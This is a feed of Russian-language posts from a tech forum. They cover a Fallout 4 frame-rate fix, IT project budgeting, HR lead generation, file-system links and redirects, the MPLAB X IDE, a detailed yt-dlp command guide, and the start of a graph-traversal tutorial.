Перейти к содержанию
  • Лента
  • Категории
  • Последние
  • Метки
  • Популярные
  • Пользователи
  • Группы
Свернуть
exlends
Категории
  • ru
    Игры
    Образование
    Искусственный Интеллект
    Новости
    Бекенд, разработка серверов
    Фронтенд
    Мобильная разработка
    Языки программирования
    Разработка игр | 3D | 2D
    Базы данных
    CMS
    Системное Администрирование
    Операционные системы
    Маркетинг
    Девайсы
    Сообщество
    Юмор, Мемы

  • en
    Humor
    News
    AI
    Programming languages
    Frontend
    GameDev

  • Блоги

Авторизуйтесь, чтобы написать сообщение

  • Все категории
  • kirilljsxK
    kirilljsx
    Fallout 4 - Увеличенная скорость игры в помещениях и не только

    Давным давно в далеком 2015 году когда вышла Fallout 4, а я между делом стал фанатом серии игры начиная с Fallout 1 и другие, мне капец как хотелось поиграть в нее, но на тот момент комп либо не тянул либо выдавал жалкие не играбельные fsp 15-18. Но годы идут технологии меняются и вот я уже почти дядька, а поиграть то желание не пропало 😀 И комп наконец-то мощный.

    Ладно, давайте к сути, в 2024 или 2025 году Fallout 4 явно обновили и добавили какую-то хрень Next Gen для более современных ПК. Установив и запустив игру я вижу аж 180+ FPS и красивую картинку, но с одним минусом - игра через чур ускоренная. Ну и как обычно я пошел в интернеты посмотрел как это фиксить - кто что советует то в файлах конфигурации копаться то скачивать какие-то моды дополнительные.

    Решение оказалось до банальности простым, я его подсмотрел на какому-то англоязычном форуме. И вот как это сделать:

    Кликаем правой кнопкой мыши по нашему рабочему столу, и кликаем на “Панель управления NVIDIA”:
    1c7ac1f0-9ed3-414c-a336-50b1b53a55f1-image.png

    Ах, да чуть не забыл это решение для видео карт Nvidia, хотя сейчас другими вообще пользуются не?

    Далее у нас откроется панель и весь фокус заключается в том что бы просто выставить для Fallout 4 максимальную частоту кадров до 120:

    48aee012-bb0a-4bea-8901-67e120d38555-image.png

    И все! Не каких тебе модов, ковыряний в конфигурационных файлов и прочее. Просто ставим максимальный fps и игра отлично работает. Кстати это решение подходит для экранов с 60+ ггц.
    Так что я пошел поиграю и окунусь в детство и надеюсь это кому-то поможем. ✊


    0 0 0 Ответить
  • kirilljsxK
    kirilljsx
    Как рассчитать затраты на ИТ‑проект: пошаговый гайд

    Задача – понять, сколько реально понадобится денег и времени для реализации проекта, чтобы избежать «сюрпризов» в конце.


    1️⃣ Что вообще входит в стоимость проекта?

    Сразу скажу: затраты – это не только зарплата команды. Это целый набор статей расходов:

    • Человеческий фактор
      • разработчики (frontend, backend, mobile)
      • тестировщики (QA)
      • дизайнеры UX/UI
      • проектный менеджер и бизнес‑аналитик
    • Технологии
      • лицензии на ПО (IDE, серверные решения, CI/CD)
      • облачные сервисы (AWS/GCP/Azure)
      • база данных, CDN, мониторинг
    • Операционные расходы
      • аренда офиса / удалёнка
      • оборудование (компьютеры, мониторы)
      • обучение и сертификация
    • Непредвиденные «потери»
      • задержки по срокам
      • ошибки в требованиях

    Важно: каждый пункт надо разбить на конкретные цифры – иначе бюджет будет как «светлое число».


    2️⃣ Как собрать данные о часовой ставке?

    1. Определите роли: frontend, backend, QA, UX/UI, PM, BA.
    2. Узнайте среднюю рыночную цену в вашем регионе (или в стране, если работаете удалённо).
    3. Добавьте надбавку за непредвиденные расходы – обычно 10‑15 %.
    Роль Средняя ставка (USD/ч) Примерная доля проекта
    Frontend 45 25 %
    Backend 55 30 %
    QA 35 10 %
    UX/UI 50 15 %
    PM/BA 60 20 %

    Ключевой момент: планируйте с запасом – если ставка изменится, бюджет не обрушится.


    3️⃣ Расчёт по фазам проекта

    Ниже примерный график распределения усилий:

    Фаза % от общего объёма работы Примерные часы
    Анализ требований 10 % 200
    Проектирование архитектуры 15 % 300
    Разработка (frontend + backend) 45 % 900
    Тестирование и исправления 20 % 400
    Внедрение и поддержка 10 % 200

    Смотрите: разбивка по фазам помогает увидеть, где могут «протечь» деньги.


    4️⃣ Пример расчёта: маленький SaaS‑продукт

    Допустим, у нас 12‑недельный проект.

    Показатель Значение
    Ставка Frontend $45/ч
    Часы Frontend 300
    Ставка Backend $55/ч
    Часы Backend 400
    Ставка QA $35/ч
    Часы QA 200
    Лицензии и облако $1 500
    Офис + оборудование $2 000
    Итого $44 300

    Факт: 70 % расходов – это люди, 30 % – инфраструктура.


    5️⃣ Как избежать «потерь»?

    • Тщательно фиксируйте требования: используйте User Stories и Acceptance Criteria.
    • Периодически пересматривайте бюджет: каждые 2 недели делайте ревью с командой.
    • Включите резерв (10‑15 % от общей суммы) на «потерянные» часы.

    Не забывайте: если вы не будете контролировать сроки, деньги потратятся быстрее, чем планировали.


    6️⃣ Визуализация: график распределения бюджета

    pie title Распределение затрат по категориям "Люди" : 70 "Технологии" : 20 "Операционные расходы" : 5 "Непредвиденные" : 5

    График показывает, что человеческие ресурсы – главный фактор затрат.


    7️⃣ Итоги и выводы

    1. Составьте таблицу ставок для каждой роли.
    2. Разбейте проект на фазы, посчитайте часы по каждой роли.
    3. Добавьте фиксированные расходы (облако, лицензии).
    4. Включите резерв на непредвиденные ситуации.

    Главный совет: планируйте с запасом и пересматривайте бюджет регулярно – так ваш ИТ‑проект будет завершён в срок и без лишних «шоков» по финансам.

    Надеюсь, эта статья поможет вам быстро собрать все данные и составить реалистичный бюджет. Удачи в работе!


    0 0 0 Ответить
  • kirilljsxK
    kirilljsx
    Кадровая лидогенерация: как превратить поток соискателей в предсказуемый найм

    Кадровая лидогенерация — это системный подход к привлечению потока целевых кандидатов, которые оставляют контакты и проходят по воронке найма до трудоустройства. По сути, это перенос логики маркетинговой лидогенерации в HR: вместо клиентов здесь «лиды» — потенциальные сотрудники.


    Что такое кадровая лидогенерация

    Кадровая лидогенерация — это комплекс инструментов и процессов, направленных на привлечение и конверсию HR‑лидов (потенциальных кандидатов) в реально принятых сотрудников. Лидом считается человек, который подходит под критерии вакансии и оставил контакты или совершил явное действие (анкета, отклик, тест).

    Основные особенности кадровой лидогенерации:

    • Фокус на количестве и качестве откликов, а не только на размещении вакансий.
    • Обязательная измеримость: воронка, конверсии, стоимость лида и найма.
    • Использование маркетинговых каналов (таргет, контент, мессенджеры, чат‑боты) в HR.

    Как устроена воронка HR‑лидогенерации

    Воронка позволяет превратить хаотичный поток откликов в управляемый процесс, где на каждом шаге видна конверсия и узкие места.

    Типовая воронка кадровой лидогенерации

    Этап Что происходит Ключевые метрики
    Верх воронки: охват Показ объявлений, контента, вакансий в соцсетях, на маркетплейсах труда, в мессенджерах Показов, охват, CTR
    Интерес и клики Кандидат переходит по объявлению, читает описание, взаимодействует с формой Клики, глубина просмотра, отказ
    Лид (анкета/контакт) Заполнение формы, анкеты, квиза, оставление телефона/мессенджера Кол-во лидов, стоимость лида, качество лидов
    Отбор и интервью Скрининг, автофильтры, чат-боты, приглашение на интервью Доля релевантных, доходимость до интервью
    Оффер и выход Подписание оффера, выход на смену/в офис Конверсия лида в найм, стоимость найма

    Фактически HR‑воронка отвечает на два ключевых вопроса: сколько лидов нужно привлечь и где именно «теряются» кандидаты по пути к найму.


    Инструменты кадровой лидогенерации

    Инструменты можно условно разделить на три блока: привлечение, конверсия и автоматизация.

    1. Каналы привлечения кандидатов

    • Платные источники: таргетированная реклама, контекст, агрегаторы вакансий, маркетплейсы труда.
    • Органические источники: SEO‑трафик с карьерного сайта, статьи, форумы, профильные сообщества.
    • Партнерские программы и рекомендации: реферальные программы для сотрудников, кадровые подрядчики.

    2. Инструменты конверсии в лиды

    • Квизы и короткие анкеты вместо длинных форм резюме.
    • Чат‑боты в мессенджерах, которые собирают контакты и проводят первичный скрининг.
    • Лендлинги под конкретные вакансии/сегменты (курьеры, склад, колл‑центр и т.п.).

    3. Автоматизация и аналитика

    • Автоматизированные HR‑воронки и CRM для кандидатов: статусы, этапы, причины отказов.
    • Трекинг стоимости лида и стоимости найма по каждому каналу.
    • Автосообщения: напоминания о собеседовании, подтверждения, онбординг‑цепочки.

    Визуализация: Воронка кадровой лидогенерации

    Ниже — схема движения кандидата от первого контакта до выхода на работу.
    a20cb4d2-196b-49b3-b13a-b72b62437f1f-image.png

    Такая воронка наглядно показывает, на каком этапе HR теряет больше всего людей и что нужно оптимизировать в первую очередь.


    Бизнес‑эффект от HR‑лидогенерации

    Грамотно выстроенная кадровая лидогенерация даёт компании несколько ключевых преимуществ.

    • Сокращение времени закрытия вакансий за счёт заранее сформированного пула тёплых кандидатов.
    • Снижение стоимости найма благодаря фокусе на эффективных каналах и автоматизации рутины.
    • Рост качества персонала: фильтры и воронка отсеивают случайные отклики и усиливают долю мотивированных соискателей.
    • Укрепление HR‑бренда за счёт постоянного присутствия в информационном поле кандидатов.

    Пример: сервис кадровой лидогенерации для массового найма

    Для компаний, которые нанимают десятки и сотни сотрудников в месяц (логистика, склады, ритейл, производства), критично важно иметь стабильный поток кандидатов, а не «ручной» подбор. В таких кейсах целесообразно подключать специализированные сервисы кадровой лидогенерации, которые берут на себя трафик, воронку и первичный отбор.

    Например, сервис кадровой лидогенерации https://hr10.ru/ помогает строить предсказуемый поток кандидатов для массового найма, интегрируя лидогенерацию с HR‑процессами, аналитикой и бизнес‑показателями работодателя. Такой подход позволяет фокусироваться не на поиске резюме, а на управлении конверсией от лида до выхода на работу, что особенно ценно для быстро растущих компаний с высокой текучестью.


    Link Preview Image
    Кадровая лидогенерация (HR-лидогенерация)

    Лидогенерация в подборе персонала: отклики кандидатов на вакансии массового найма с оплатой за лид.

    favicon

    (hr10.ru)


    0 0 0 Ответить
  • kirilljsxK
    kirilljsx
    Ссылки в файловой системе и веб-разработке: полное руководство по типам и применению

    Ссылки позволяют организовывать доступ к данным без их дублирования, решая задачи от управления файлами до оптимизации сайтов. В файловых системах они делятся на символические и жесткие, а в веб-контексте работают как редиректы или прокси к контенту.

    Понимание различий помогает устранять проблемы вроде каннибализации ключевых слов и упрощать структуру проектов.

    Типы ссылок в файловой системе

    Символические и жесткие ссылки - фундаментальные механизмы Unix-подобных систем (Linux, macOS), используемые веб-серверами Apache и Nginx. Они экономят место на диске и упрощают развертывание сайтов. Символическая ссылка (symlink) указывает на путь к файлу, в то время как жесткая ссылка привязана к inode-структуре данных.

    Характеристика Символическая ссылка (ln -s) Жесткая ссылка (ln) Обычный файл
    Что ссылается На путь (имя файла) На данные (inode) Сам файл с данными
    Через разделы Да, даже на другой диск Нет, только в пределах FS —
    При удалении оригинала Ломается (dangling) Остается работать Удаляется
    Можно на каталог Да Да (в Linux) Нет
    Команда создания ln -s target linkname ln target linkname cp или редактор

    Жесткие ссылки прозрачны для приложений, но не подходят для междисковых ссылок. Симлинки удобны для веб-серверов, где нужно связать /var/www/shared/images с несколькими сайтами.

    Применение ссылок на веб-серверах

    Веб-серверы используют символические ссылки для организации контента без копирования файлов. Например, Nginx может отдавать статику из общей директории через symlink в /sites-enabled, ускоряя деплой. Это особенно полезно в конфигурациях с несколькими доменами или CMS, где ресурсы (CSS, JS) shared между проектами.

    Симлинки прозрачны для PHP и приложений: скрипт видит оригинальный файл, не зная о ссылке. Однако при битых ссылках (удален оригинал) сервер вернет 404. В хостингах проверьте разрешения - многие запрещают симлинки на /etc/passwd из безопасности.

    Ссылки для решения SEO-каннибализации

    Каннибализация ключевых слов возникает, когда две страницы ранжируются по одному запросу (например, “услуги чего-либо”), распыляя трафик. Вместо удаления используйте редирект-ссылки: одна страница перенаправляет на основную, передавая SEO-вес.

    • 301-редирект: Постоянный, передает ~90–99% PageRank. Идеален для консолидации.
    • 302-редирект: Временный, для A/B-тестов или миграций.
    • Symlink-подобный подход: Отображение контента под старым URL без редиректа (риск дублирования).

    Настройте в .htaccess:

    Redirect 301 /old-service /main-service
    

    Или в Nginx:

    rewrite ^/old-service$ /main-service permanent;
    

    После внедрения мониторьте в Яндекс.Вебмастере - трафик сливается за 2–4 недели.

    Рекомендации по выбору типа ссылки

    Выбор зависит от задачи: для файловой системы - симлинки на каталоги, для SEO - редиректы. Избегайте цепочек ссылок (symlink → symlink), чтобы не усложнять отладку.

    • Для разработчиков: Symlink для dev-симлинков на vendor или node_modules.
    • Для SEO-специалистов: 301 на основную страницу при каннибализации.
    • Для серверов: Symlink в /etc/nginx/sites-enabled для быстрого включения/выключения сайтов.

    Регулярно проверяйте ссылки командой find /var/www -type l -xtype l - выявит битые. Правильное использование ссылок повышает производительность и упрощает поддержку сайтов.


    0 0 0 Ответить
  • kirilljsxK
    kirilljsx
    MPLAB X IDE: находка для программирования PIC-микроконтроллеров

    Копался тут в инструментах для встраиваемых систем, и наткнулся на MPLAB X IDE - это крутая интегрированная среда разработки (IDE) от Microchip специально для их PIC- и dsPIC-микроконтроллеров. Она построена на базе NetBeans, работает на Windows, Linux и macOS, и позволяет писать код на C, ассемблере, отлаживать, симулировать и программировать чипы прямо из одного окна. Если вы, как и я, любите ковыряться в железе и коде, это must-have инструмент - бесплатный, мощный и с кучей плагинов.
    ​

    Что это такое на самом деле?

    MPLAB X IDE - это не просто редактор, а полноценный комбайн для embedded-разработки: редактор кода с автозаполнением, симулятор, отладчик, менеджер проектов и интеграция с компиляторами вроде XC8, XC16, XC32. Поддерживает все семейства PIC - от 8-битных до 32-битных, плюс dsPIC. Я пробовал старый MPLAB 8, но X-версия в разы удобнее: мультипроекты, Git-интеграция, параллельная отладка - все для серьезной работы.
    ​

    Где скачать и как установить?

    Скачиваем только с официального сайта Microchip - ссылка
    ​
    После установки добавьте компиляторы в PATH - и вперед!

    Системные требования

    Не тормозит на нормальном железе, но жрёт RAM при больших проектах. Рекомендую:
    ​- ОС: Windows 10+, macOS 10.15+, Linux (Ubuntu/Debian).

    • RAM: минимум 4 ГБ, лучше 8+ ГБ.
    • Проц: 64-bit, 2+ ГГц.
    • Java: встроена или JDK 8+.
      ​
      Если старая машина - может подтормаживать компиляцию.
      ​

    Зачем - плюсы/минусы

    Плюсы - кросс-платформенность, бесплатность, экосистема Microchip (PICkit, ICD), CI/CD поддержка в новых версиях.
    ​

    • Автозаполнение кода и подсказки.
    • Симуляция и отладка в реал-тайм.
    • Плагины для Harmony и Code Configurator.

    Минусы:

    • Требует отдельной установки компиляторов.
    • Ресурсоёмкая на слабом ПК.
    • Переход с MPASM требует доработки ассемблера (с 5.40).
      ​
      В общем, если вы в теме микроконтроллеров - качайте, не пожалеете! Тестил на PIC16 - огонь.

    0 0 0 Ответить
  • AladdinA
    Aladdin
    yt-dlp: Полное руководство по скачиванию видео

    yt-dlp — это мощный инструмент командной строки для скачивания видео с тысяч сайтов. По сути, это продвинутая версия известного youtube-dl, которая развивается активнее и имеет больше функций. Создан на основе прекращенного проекта youtube-dlc.

    yt-dlp позволяет скачивать видео, аудио и подписи с множества платформ: YouTube, Vimeo, Dailymotion, TikTok, Instagram, Twitch и многих других. Это полезно, если вы хотите сохранить контент локально, работать с видео офлайн или автоматизировать загрузку плейлистов.


    Установка

    Для Linux/BSD (рекомендуемый вариант)

    Используйте платформонезависимый бинарник с поддержкой Python:

    # Скачать бинарник
    curl -L https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp -o /usr/local/bin/yt-dlp
    chmod +x /usr/local/bin/yt-dlp
    
    # Проверить установку
    yt-dlp --version
    

    Через pip (если установлен Python 3.10+)

    pip install yt-dlp
    

    Для Windows

    Скачайте yt-dlp.exe со страницы релизов и поместите в папку, которая находится в PATH.

    Обновление

    # Обновиться до последней версии
    yt-dlp -U
    
    # Переключиться на nightly-версию (рекомендуется для новых функций)
    yt-dlp --update-to nightly
    
    # Обновиться до конкретной версии
    yt-dlp --update-to stable@2024.01.01
    

    Зависимости

    Обязательная:

    • Python 3.10+ (или PyPy 3.11+)

    Настоятельно рекомендуемые:

    • ffmpeg и ffprobe — нужны для объединения видео и аудио, конвертации формата. Это не Python-пакет, а бинарник!
    • deno или node.js — JavaScript-рантайм для расшифровки YouTube (требуется yt-dlp-ejs)

    Опциональные:

    • curl_cffi — для обхода TLS-фингерпринтинга
    • mutagen — для встраивания обложек
    • pycryptodomex — для расшифровки AES-128 HLS-потоков

    Чтобы установить все основные зависимости:

    pip install "yt-dlp[default]"
    

    Базовое использование

    Простое скачивание видео

    # Скачать видео с YouTube
    yt-dlp "
    " # Скачать плейлист yt-dlp "https://www.youtube.com/playlist?list=PLxxxxxx"

    Видео сохранится с автоматическим названием в текущую папку.


    Выбор формата видео

    Это одна из самых полезных функций yt-dlp. По умолчанию загружается лучшее доступное качество, но вы можете выбрать конкретный формат.

    Посмотреть доступные форматы

    yt-dlp -F "
    "

    Вывод покажет список всех доступных форматов с ID:

    ID  EXT  RES     FPS  CH  ACODEC          ABPS  VCODEC          VBR
    249 webm audio   --  2   opus            50k   --              
    250 webm audio   --  2   opus            70k   --              
    140 m4a  audio   --  2   mp4a.40.2       128k  --              
    18  mp4  360     30  2   aac            128k   h264            
    22  mp4  720     30  2   aac            192k   h264            
    

    Что означает:

    • ID — идентификатор формата для загрузки
    • EXT — расширение файла
    • RES — разрешение видео
    • FPS — кадры в секунду
    • ACODEC — кодек аудио
    • VCODEC — кодек видео

    Примеры выбора формата

    # Загрузить лучший видеопоток с аудио (по умолчанию)
    yt-dlp -f best "https://..."
    
    # Загрузить видео максимального качества (может быть без звука)
    yt-dlp -f bestvideo "https://..."
    
    # Загрузить аудиопоток максимального качества
    yt-dlp -f bestaudio "https://..."
    
    # Загрузить конкретный формат по ID
    yt-dlp -f 22 "https://..."
    
    # Комбинировать: лучшее видео + лучшее аудио + объединить в MP4
    yt-dlp -f "bestvideo+bestaudio" --merge-output-format mp4 "https://..."
    
    # Загрузить HD качество (720p) или лучшее, что есть
    yt-dlp -f "720/best" "https://..."
    
    # Загрузить видео менее 100 МБ
    yt-dlp -f "best[filesize<100M]" "https://..."
    

    Почему это нужно: на некоторых сайтах видео и аудио загружаются отдельно. yt-dlp автоматически объединяет их через ffmpeg.


    Сортировка форматов

    Используйте флаг -S (–format-sort) для сортировки по качеству:

    # Сортировать по разрешению, затем кодеку видео
    yt-dlp -f best -S res,vcodec "https://..."
    
    # Предпочитать H.264, затем H.265, максимальное разрешение
    yt-dlp -f best -S vcodec:h264,vcodec:h265,res "https://..."
    
    # Сортировка в обратном порядке (от худшего к лучшему)
    yt-dlp -f best -S -res "https://..."
    

    Скачивание аудио

    Преобразовать в MP3

    # Скачать видео и конвертировать в MP3
    yt-dlp -x --audio-format mp3 "https://..."
    

    Параметры:

    • -x (–extract-audio) — извлечь только аудио
    • --audio-format mp3 — конвертировать в MP3

    Другие форматы аудио

    # AAC
    yt-dlp -x --audio-format aac "https://..."
    
    # Opus
    yt-dlp -x --audio-format opus "https://..."
    
    # Лучший доступный формат аудио
    yt-dlp -x --audio-format best "https://..."
    

    Использовать готовые пресеты

    # Загрузить как MP3 (готовый пресет)
    yt-dlp -t mp3 "https://..."
    
    # Загрузить как AAC
    yt-dlp -t aac "https://..."
    
    # Загрузить как MP4
    yt-dlp -t mp4 "https://..."
    
    # Загрузить как MKV
    yt-dlp -t mkv "https://..."
    

    Подписи (субтитры)

    # Скачать видео с автогенерируемыми подписями
    yt-dlp --write-auto-subs "https://..."
    
    # Скачать видео с оригинальными подписями
    yt-dlp --write-subs "https://..."
    
    # Посмотреть доступные языки подписей
    yt-dlp --list-subs "https://..."
    
    # Скачать подписи на русском и английском
    yt-dlp --write-subs --sub-langs ru,en "https://..."
    
    # Скачать подписи в формате SRT
    yt-dlp --write-subs --sub-format srt "https://..."
    

    Скачивание плейлистов

    Базовое скачивание

    # Скачать весь плейлист
    yt-dlp "https://www.youtube.com/playlist?list=PLxxxxxx"
    
    # Скачать только видео, игнорируя плейлист
    yt-dlp --no-playlist "https://..."
    

    Выбирать конкретные видео

    # Скачать видео с индексами 1, 2, 3, 7
    yt-dlp -I 1:3,7 "https://..."
    
    # Скачать первые 10 видео
    yt-dlp -I 1:10 "https://..."
    
    # Скачать последние 5 видео (отрицательные индексы)
    yt-dlp -I -5: "https://..."
    
    # Скачать каждое второе видео
    yt-dlp -I 1::2 "https://..."
    
    # Скачать видео в обратном порядке
    yt-dlp -I ::-1 "https://..."
    

    Фильтрация видео

    # Скачать только видео длиннее 10 минут
    yt-dlp --match-filters "duration>600" "https://..."
    
    # Скачать видео с более чем 1000 лайков
    yt-dlp --match-filters "like_count>1000" "https://..."
    
    # Скачать видео, которые НЕ лайв-трансляции
    yt-dlp --match-filters "!is_live" "https://..."
    

    Выходное имя файла

    Контролируйте, как называются скачанные файлы через -o (–output):

    Базовые шаблоны

    # По умолчанию (название видео + ID)
    yt-dlp -o "%(title)s.%(ext)s" "https://..."
    
    # Название + ID видео
    yt-dlp -o "%(title)s [%(id)s].%(ext)s" "https://..."
    
    # Только ID
    yt-dlp -o "%(id)s.%(ext)s" "https://..."
    
    # С номером при скачивании плейлиста
    yt-dlp -o "%(playlist_index)s - %(title)s.%(ext)s" "https://..."
    
    # Дата + название
    yt-dlp -o "%(upload_date)s - %(title)s.%(ext)s" "https://..."
    

    Примеры

    # Все в подпапку
    yt-dlp -o "downloads/%(title)s.%(ext)s" "https://..."
    
    # По папкам по авторам
    yt-dlp -o "%(uploader)s/%(title)s.%(ext)s" "https://..."
    
    # С подходящим форматом даты
    yt-dlp -o "%(upload_date>%Y-%m-%d)s - %(title)s.%(ext)s" "https://..."
    

    Метаданные

    Сохранить информацию о видео

    # Сохранить описание в .description файл
    yt-dlp --write-description "https://..."
    
    # Сохранить метаданные в JSON
    yt-dlp --write-info-json "https://..."
    
    # Скачать и встроить обложку в видео
    yt-dlp --write-thumbnail "https://..."
    
    # Встроить обложку в MP4/M4A (требуется ffmpeg или AtomicParsley)
    yt-dlp --embed-thumbnail "https://..."
    
    # Все сразу
    yt-dlp --write-description --write-info-json --write-thumbnail "https://..."
    

    Управление загрузкой

    Лимиты размера

    # Скачать только если файл меньше 500 МБ
    yt-dlp --max-filesize 500M "https://..."
    
    # Скачать только если файл больше 10 МБ
    yt-dlp --min-filesize 10M "https://..."
    

    Ограничение скорости

    # Ограничить скорость до 1 МБ/с
    yt-dlp -r 1M "https://..."
    
    # Ограничить до 500 КБ/с
    yt-dlp -r 500K "https://..."
    

    Повторные попытки и таймауты

    # 20 повторных попыток при ошибке (по умолчанию 10)
    yt-dlp --retries 20 "https://..."
    
    # Бесконечные повторы
    yt-dlp --retries infinite "https://..."
    
    # Таймаут соединения 30 секунд
    yt-dlp --socket-timeout 30 "https://..."
    

    Параллельная загрузка фрагментов

    # Загружать 5 фрагментов одновременно (для DASH/HLS)
    yt-dlp -N 5 "https://..."
    

    Продвинутые техники

    Скачивание из файла списка

    Создайте файл urls.txt:

    https://www.youtube.com/playlist?list=PLxxxxxx

    Затем:

    yt-dlp -a urls.txt
    

    Прокси и VPN

    # Использовать SOCKS5 прокси
    yt-dlp --proxy socks5://127.0.0.1:1080 "https://..."
    
    # HTTP прокси
    yt-dlp --proxy http://proxy.example.com:8080 "https://..."
    
    # Использовать IPv6
    yt-dlp -6 "https://..."
    
    # Принудительно IPv4
    yt-dlp -4 "https://..."
    

    Архивирование загруженных видео

    Предотвращает повторную загрузку одного видео:

    # Скачать плейлист, сохраняя ID в archive.txt
    yt-dlp --download-archive archive.txt "https://..."
    
    # При следующем запуске видео из archive.txt пропустятся
    yt-dlp --download-archive archive.txt "https://..."
    

    Скачивание только новых видео по дате

    # Видео, загруженные после 1 января 2024
    yt-dlp --dateafter 20240101 "https://..."
    
    # Видео за последние 7 дней
    yt-dlp --dateafter "today-7days" "https://..."
    
    # Видео конкретного дня
    yt-dlp --date 20240115 "https://..."
    

    Обработка после загрузки

    Post-processing с ffmpeg

    # Конвертировать MKV в MP4
    yt-dlp --remux-video mp4 "https://..."
    
    # Конвертировать в формат Matroska
    yt-dlp --remux-video mkv "https://..."
    
    # Конвертировать видео в другой кодек
    yt-dlp --recode-video mp4 "https://..."
    

    Обработка разделов/глав

    # Скачать только раздел "Intro" (если доступен)
    yt-dlp --download-sections "Intro" "https://..."
    
    # Скачать видео с 1:30 до 5:00 минут
    yt-dlp --download-sections "*1:30-5:00" "https://..."
    

    Конфигурационный файл

    Вместо того чтобы каждый раз писать длинные команды, сохраните настройки в файл.

    Создайте yt-dlp.conf в одном из этих мест:

    • /etc/yt-dlp/config (системная конфиг)
    • ~/.config/yt-dlp/config (домашняя конфиг)
    • ./yt-dlp.conf (папка с бинарником или текущая папка)

    Пример конфига:

    # Формат видео
    -f bestvideo+bestaudio/best
    
    # Объединять видео и аудио
    --merge-output-format mp4
    
    # Сохранять метаданные
    --write-info-json
    --write-description
    
    # Сохранять обложку
    --write-thumbnail
    
    # Подписи
    --write-auto-subs
    --sub-langs en,ru
    
    # Выходное имя
    -o "%(uploader)s/%(title)s [%(id)s].%(ext)s"
    
    # Архив загруженных видео
    --download-archive archive.txt
    
    # Не перезаписывать файлы
    -w
    
    # Прогресс бар
    --progress
    

    Теперь все эти параметры применятся автоматически:

    yt-dlp "https://..."
    

    Вывод информации без загрузки

    Просмотреть информацию о видео

    # Вывести информацию в JSON
    yt-dlp -j "https://..." | jq .
    
    # Печать конкретных полей
    yt-dlp -O "%(title)s" "https://..."
    yt-dlp -O "id" "https://..."
    
    # Печать нескольких полей
    yt-dlp -O "%(id)s - %(title)s - %(duration)s сек" "https://..."
    

    Проверка без загрузки

    # Симуляция загрузки (проверить формат, но не скачивать)
    yt-dlp -s "https://..."
    
    # Показать форматы без скачивания
    yt-dlp -F "https://..."
    
    # Показать подписи без скачивания
    yt-dlp --list-subs "https://..."
    

    Примеры реальных сценариев

    Сценарий 1: Скачать песню с YouTube в MP3

    yt-dlp -x --audio-format mp3 -o "%(title)s.%(ext)s" "https://www.youtube.com/watch?v=xxxxx"
    

    Сценарий 2: Скачать плейлист с русскими субтитрами

    yt-dlp -I 1:20 \
      -f "720/best" \
      --write-subs --sub-langs ru \
      -o "%(playlist_index)s - %(title)s.%(ext)s" \
      "https://www.youtube.com/playlist?list=PLxxxxxx"
    

    Сценарий 3: Скачать видео и встроить обложку

    yt-dlp -f best \
      --write-thumbnail \
      --embed-thumbnail \
      --write-info-json \
      "https://..."
    

    Сценарий 4: Скачать только новые видео из плейлиста

    # Первый раз:
    yt-dlp \
      -f best \
      --download-archive downloaded.txt \
      -o "%(title)s.%(ext)s" \
      "https://www.youtube.com/playlist?list=PLxxxxxx"
    
    # Каждый следующий запуск:
    # Пропустит уже скачанные видео из downloaded.txt
    yt-dlp \
      -f best \
      --download-archive downloaded.txt \
      -o "%(title)s.%(ext)s" \
      "https://www.youtube.com/playlist?list=PLxxxxxx"
    

    Сценарий 5: Скачать видео через прокси, ограничив скорость

    yt-dlp \
      --proxy socks5://127.0.0.1:1080 \
      -r 2M \
      -f best \
      "https://..."
    

    Часто встречаемые ошибки и решения

    Ошибка: “No video formats found”

    Причина: Видео недоступно в вашем регионе или заблокировано.

    Решение:

    # Использовать прокси
    yt-dlp --proxy socks5://127.0.0.1:1080 "https://..."
    

    Ошибка: “ffmpeg not found”

    Причина: ffmpeg не установлен.

    Решение:

    # Linux
    sudo apt install ffmpeg
    
    # macOS
    brew install ffmpeg
    
    # Windows - скачайте с ffmpeg.org
    

    Видео и аудио не объединяются

    Причина: ffmpeg не установлен или не указан путь.

    Решение:

    # Убедитесь, что ffmpeg в PATH
    which ffmpeg
    
    # Если нет, установите его (см. выше)
    

    Требуется аутентификация

    Причина: Видео защищено или требует логина.

    Решение:

    yt-dlp -u username -p password "https://..."
    
    # Или через .netrc файл
    yt-dlp -n "https://..."
    

    Встраивание в код (Python)

    Если вы хотите использовать yt-dlp в своем Python-приложении:

    import yt_dlp
    
    # Базовая загрузка
    ydl_opts = {
        'format': 'best',
        'outtmpl': '%(title)s.%(ext)s',
    }
    
    with yt_dlp.YoutubeDL(ydl_opts) as ydl:
        ydl.download(['https://www.youtube.com/watch?v=xxxxx'])
    
    # Более продвинутая загрузка с обработкой
    ydl_opts = {
        'format': 'bestvideo+bestaudio/best',
        'merge_output_format': 'mp4',
        'writesubtitles': True,
        'subtitle_langs': ['en', 'ru'],
        'writethumbnail': True,
        'write_info_json': True,
        'outtmpl': '%(uploader)s/%(title)s.%(ext)s',
    }
    
    with yt_dlp.YoutubeDL(ydl_opts) as ydl:
        info = ydl.extract_info('https://www.youtube.com/watch?v=xxxxx', download=True)
        print(f"Скачано: {info['title']}")
    

    Обновление и версионирование

    yt-dlp имеет три канала обновления:

    Канал Описание
    stable Стабильная версия (по умолчанию), регулярно тестируется
    nightly Ежедневные релизы, рекомендуется для обычных пользователей
    master Релиз после каждого коммита, может содержать баги

    Переключение:

    # На nightly
    yt-dlp --update-to nightly
    
    # На стабильную конкретной даты
    yt-dlp --update-to stable@2024.01.15
    
    # На последнюю версию master
    yt-dlp --update-to master
    
    # Предупреждение появляется, если версия старше 90 дней
    # Отключить предупреждение
    yt-dlp --no-update "https://..."
    

    Заключение

    yt-dlp — мощный и гибкий инструмент для скачивания видео. Его основные преимущества:

    ✅ Поддержка тысяч сайтов
    ✅ Гибкий выбор форматов и качества
    ✅ Встраивание метаданных и обложек
    ✅ Архивирование и фильтрация
    ✅ Конфигурационные файлы для удобства
    ✅ Регулярные обновления и активная поддержка

    Начните с простых команд и постепенно добавляйте нужные параметры. Конфиг файл значительно упростит вашу жизнь при частом использовании.


    2 0 1 Ответить
  • AladdinA
    Aladdin
    Граф — представление, обход графа (DFS, BFS): гайд и примеры на JavaScript

    Граф — это структура данных, которая представляет связи между объектами. Граф состоит из вершин (узлов) и рёбер (связей между ними).

    Графы используются повсеместно:

    • Социальные сети: пользователи — вершины, дружба — рёбра
    • Маршрутизация: города — вершины, дороги — рёбра
    • Рекомендации: товары связаны по схожести
    • Анализ зависимостей: модули в проекте, задачи с приоритетами
    • Поиск кратчайшего пути: навигация, логистика
    • Паутина интернета: веб-страницы и ссылки между ними

    Типы графов

